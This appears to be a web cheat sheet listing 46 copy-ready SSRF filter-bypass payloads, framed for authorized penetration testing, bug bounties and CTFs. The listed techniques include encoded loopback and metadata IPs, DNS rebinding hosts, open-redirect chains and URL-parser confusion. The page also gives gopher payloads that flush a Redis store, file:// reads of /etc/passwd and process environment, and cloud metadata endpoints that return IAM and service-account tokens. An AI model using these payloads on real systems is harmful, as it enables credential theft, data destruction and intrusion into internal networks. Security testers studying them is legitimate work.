Techniques to defeat SSRF allowlists and blocklists: IP encodings, DNS rebinding, open-redirect chaining, alternate URL schemes, and reaching cloud metadata behind broken filters. (46 payloads)
http://2130706433/http://0x7f000001/http://0177.0.0.1/http://0x7f.1/http://127.1/http://0/http://[::1]/ http://[::ffff:127.0.0.1]/ http://[0:0:0:0:0:ffff:7f00:1]/http://2852039166/ → 169.254.169.254 = http://0xa9fea9fe/http://127.0.0.1.nip.io/ http://169.254.169.254.nip.io/http://localtest.me/ http://customer1.app.localhost.my.company.127.0.0.1.nip.io/TTL=0 record flipping (allowed.com → 169.254.169.254)rebinder: 7f000001.a9fea9fe.rbndr.usSingularity of Origin / taviso rbndr payload hostinternal CNAME / split-horizon name (intranet.corp.example.com)https://allowed-host.com/redirect?url=http://169.254.169.254/latest/meta-data/HTTP/1.1 302 Found\nLocation: http://127.0.0.1:6379/Location: gopher://127.0.0.1:6379/_<redis payload>redirect to http://[::ffff:a9fe:a9fe]/latest/meta-data/30x loop: a.com → b.com → 169.254.169.254Refresh: 0; url=http://169.254.169.254/ (meta-refresh / Refresh header)http://[email protected]/http://169.254.169.254#@expected-host.com/http://169.254.169.254?x=expected-host.comhttp://expected-host.com\@169.254.169.254/http://169.254.169.254%2f%[email protected]/ / http://169.254.169.254%00.expected-host.com/http://expected-host.com:80\@\@169.254.169.254/http://169。254。169。254/ / http://①⑥⑨.②⑤④.①⑥⑨.②⑤④ParserA (validator) vs ParserB (HTTP client)file:///etc/passwd / file:///proc/self/environgopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...dict://127.0.0.1:6379/INFO / dict://127.0.0.1:11211/stathttp://169.254.169.254\t/latest/ / ht\ntp://... / HtTp://ldap://127.0.0.1:389/ / tftp://attacker/x / sftp://internaljar:http://169.254.169.254!/ / netdoc:/etc/passwd / http+unix:///var/run/docker.sockhttp://169.254.169.254/latest/meta-data/iam/security-credentials/<role>PUT /latest/api/token X-aws-ec2-metadata-token-ttl-seconds: 21600 → then GET with X-aws-ec2-metadata-tokenhttp://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token (Metadata-Flavor: Google)http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ (Metadata: true)http://100.100.100.200/latest/meta-data/ (Alibaba) / http://169.254.169.254/openstack/latest/meta_data.jsonhttp://169.254.169.254/latest/user-data / GCP .../instance/attributes/startup-scriptReach via redirect: https://allowed.com/r?u=http://169.254.169.254/... + DNS rebind 169-254-169-254.rebindhttp://<id>.oast.fun / http://<sub>.burpcollaborator.netDNS-only canary: http://<id>.dns.oast.livetiming oracle: http://127.0.0.1:22 (open) vs http://127.0.0.1:81 (closed)differential errors: 'connection refused' vs TLS error vs timeoutheadless PDF/screenshot, webhook, avatar-import, og:image, XXE→SSRF sinksLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 46 SSRF Bypass payloads for testing SSRF Filter Bypass vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the IP / CIDR Calculator to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all SSRF Bypass payloads are completely free, with no account required. Everything runs in your browser.